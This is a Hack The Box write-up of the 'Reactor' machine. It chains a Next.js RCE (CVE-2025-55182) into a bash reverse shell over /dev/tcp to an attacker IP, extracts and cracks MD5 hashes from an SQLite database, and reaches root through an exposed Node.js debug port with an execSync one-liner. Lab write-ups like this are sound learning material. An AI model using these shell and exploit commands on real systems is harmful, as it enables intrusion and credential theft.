shreekara@sneaky69:~/writeups/reactor$
$catreactor.md

HTB Write-Up: Reactor

PlatformHack The Box
DifficultyEasy
OSLinux
Authorshreekara
DateMay 24, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration — ReactorWatch Dashboard & Version Fingerprinting
3. Initial Access — CVE-2025-55182 (React2Shell RCE)
4. Lateral Movement — SQLite Credential Extraction & Hash Cracking
5. Privilege Escalation — Node.js Debug Port Hijacking
6. Summary & Takeaways

1. Reconnaissance

Starting with a full port scan to get an idea of what's exposed:

$nmap-sC -sV -O -T4 10.129.6.0

Only two ports came back:

PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
3000HTTPNext.js — ReactorWatch application

Pretty minimal attack surface. SSH is usually a dead end without creds, so port 3000 is where the focus needs to be.


2. Enumeration — ReactorWatch Dashboard & Version Fingerprinting

2.1 — Web Application Fingerprinting

Ran WhatWeb first to fingerprint the stack quickly:

$whatweb10.129.6.0:3000
http://10.129.6.0:3000 [200 OK] HTML5, Title[ReactorWatch | Core Monitoring System],
UncommonHeaders[x-nextjs-cache,x-nextjs-prerender,x-nextjs-stale-time], X-Powered-By[Next.js]

The app is called ReactorWatch — a nuclear reactor core monitoring dashboard. More importantly, the X-Powered-By header and the Next.js-specific response headers confirm it's running Next.js 15.0.3. That version number is going to matter.

2.2 — Unauthenticated Dashboard

Navigating to http://10.129.6.0:3000 — no login, no auth, nothing. The dashboard just loads and immediately starts leaking information.

Reactor telemetry (live, unauthenticated):

Core StatusReactor Power 98.2%, Criticality 1.0002 (WARNING)
Core Temp324°C
Pressure155 bar
Coolant Flow18.4k m³/h (CAUTION)
Turbine Output1.21 GW

On-site personnel — also just... listed there:

NameRoleStatus
Dr. Elena RodriguezLead Nuclear EngineerONLINE
Marcus KimSenior TechnicianONLINE
James ThompsonSafety OfficerOFFLINE

Even if there was no direct exploit here, this is terrible from a security standpoint. Personnel names, roles, and live operational data — all public. Good recon material either way.

2.3 — Directory Enumeration

Threw Feroxbuster at it to find any hidden paths:

$feroxbuster-u http://10.129.6.0:3000 -C 404 --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

One oddity came up:

308  GET  http://10.129.6.0:3000/cgi-bin/ => http://10.129.6.0:3000/cgi-bin

A /cgi-bin/ on a Next.js app doesn't make much sense — probably a red herring or misconfiguration. Noted it and moved on, since the more interesting angle was the framework version itself.

2.4 — CVE Research

A quick search on Next.js 15.0.3 turns up CVE-2025-55182, sometimes called React2Shell. It's a critical unauthenticated RCE via prototype pollution and unsafe deserialization in the React Server Components handler. The attack vector is injecting a malicious payload through the Next-Action header. No auth needed, which makes this very clean.


3. Initial Access — CVE-2025-55182 (React2Shell RCE)

3.1 — How the Vulnerability Works

The RSC handler in Next.js 15.0.3 doesn't properly sanitize the Next-Action header. By crafting a payload that exploits prototype pollution combined with unsafe deserialization, an attacker can get arbitrary OS command execution on the server. The service doesn't need to be authenticated — the vulnerable endpoint is reachable by anyone.

3.2 — Confirming RCE

Used a public Python PoC to verify execution before going for a shell:

$python3exploit.py --url http://10.129.6.0:3000 --cmd whoami
Success
node
$python3exploit.py --url http://10.129.6.0:3000 --cmd pwd
Success
/opt/reactor-app

Running as node (uid=999) — low-privileged, but enough to start moving.

3.3 — Getting a Shell

Base64-encoded the reverse shell to avoid issues with quoting and special characters in the command argument:

$echo'bash -i >& /dev/tcp/10.10.16.194/9001 0>&1' | base64 -w 0

Set up the listener:

$rlwrap nc-lnvp 9001

Fired the payload:

$python3exploit.py --url http://10.129.6.0:3000 --cmd "echo <base64-payload> | base64 -d | bash"

Shell landed:

connect to [10.10.16.194] from (UNKNOWN) [10.129.6.0]
node@reactor:/opt/reactor-app$

4. Lateral Movement — SQLite Credential Extraction & Hash Cracking

4.1 — Poking Around the App Directory

First thing to do after getting a shell — enumerate the application files:

$ls-la /opt/reactor-app

Two files immediately stood out:

FileNotes
.envApplication environment configuration
reactor.dbSQLite database — readable by the node user

An SQLite database sitting right in the app directory, readable by the current user. That's almost always going to have something useful.

4.2 — Dumping the Database

$sqlite3/opt/reactor-app/reactor.db
sqlite> .tables
sqlite> SELECT * FROM users;

1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb

Two accounts with what look like MD5 hashes. MD5 is weak, so these should crack fast.

4.3 — Cracking the Hashes

Focused on the engineer hash since that account is more likely to have SSH access:

$john--wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
reactor1        (?)
1g 0:00:00:00 DONE 50.00g/s 16857Kp/s

Cracked instantly. Credentials: engineer:reactor1

4.4 — SSH as Engineer

$sshengineer@10.129.6.0
Logged in without any issues.

User flag is at /home/engineer/user.txt.


5. Privilege Escalation — Node.js Debug Port Hijacking

5.1 — Checking Internal Services

With a proper shell as engineer, time to look for anything listening internally that wasn't visible from outside:

$ss-tulnp
tcp  LISTEN  0  511  127.0.0.1:9229  0.0.0.0:*

Port 9229 on localhost — that's the standard Node.js V8 Inspector port. When a Node.js process is started with --inspect, it opens this port and allows anyone who can reach it to attach a debugger and run arbitrary JavaScript. If the process running it is privileged, that's a direct path to root.

5.2 — Identifying the Process

$cat/opt/uptime-monitor/worker.js

It's a Node.js uptime monitoring worker that pings the ReactorWatch app every 30 seconds. Crucially — it's running as root and was started with --inspect, which is why 9229 is open. Classic misconfiguration: a maintenance script that no one thought twice about running as root.

5.3 — Forwarding the Debug Port

The port is only accessible from localhost on the target, so an SSH tunnel gets it to the attacking machine:

$ssh-L 9229:127.0.0.1:9229 engineer@10.129.6.0

Now 127.0.0.1:9229 locally maps directly to the Node.js debugger on the target.

5.4 — Connecting to the Debugger

$node inspect127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug>

5.5 — RCE as Root

require doesn't work directly in this context, but process.mainModule.require does — it reaches the module system through the already-loaded main module:

debug>exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'

Running as root. From here, a root shell gets sent back the same way, and a listener catches it:

$nc-lnvp 9002
connect to [10.10.16.194] from (UNKNOWN) [10.129.6.0]
root@reactor:~#

Root flag is at /root/root.txt.


6. Summary & Takeaways

Attack Chain

PhaseTechniqueResult
Reconnmap -APorts 22, 3000 identified
FingerprintingWhatWeb + headersNext.js 15.0.3 → CVE-2025-55182
Initial AccessReact2Shell — Next-Action header injectionShell as node
Credential ExtractionSQLite DB dump → MD5 hashesengineer:reactor1
Hash CrackingJohn the Ripper + rockyou.txtPassword cracked instantly
Lateral MovementSSH with cracked credentialsShell as engineer + user flag
Privilege EscalationNode --inspect → SSH tunnel → mainModule.requireRoot shell + root flag

What I Took Away From This Box

The thing that stuck with me here is how much of the chain came from stuff that wasn't technically a vulnerability on its own. An unauthenticated dashboard handing out personnel names and stack details isn't an exploit, it's just bad defaults — but it's exactly what told me where to look for the real CVE. Same with the X-Powered-By header: nobody strips that on a dev box, and it saved me a lot of guessing on version fingerprinting.

The SQLite file sitting readable in the app directory was the part that annoyed me most, honestly, because it's such a common mistake. If your DB lives inside the web root with world-readable perms, you've basically pre-cracked your own creds for whoever gets a foothold.

Root cause of the privesc was a maintenance script running with --inspect as root. I hadn't actually exploited a Node debug port before this box, so getting process.mainModule.require to hand me code execution was the highlight for me. Once I had that, the rest was just tunneling and catching a shell — but the debug port thing is going straight into my privesc checklist for future boxes.

< cd ~/writeups